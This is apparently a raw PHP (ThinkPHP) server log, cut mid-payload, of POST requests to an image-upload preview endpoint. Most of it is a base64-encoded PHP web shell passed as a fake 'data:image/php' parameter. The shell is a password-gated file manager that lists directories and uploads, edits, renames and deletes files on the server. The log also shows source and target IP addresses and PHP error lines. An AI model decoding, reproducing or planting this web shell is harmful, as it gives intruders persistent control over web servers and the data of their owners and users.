sYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:04:46+08:00 ] 119.42.146.234 POST 59.110.137.245/manage/webuploader/preview.php [运行时间:0.002730s] [吞吐率:366.31req/s] [内存消耗:196.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'manage', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAk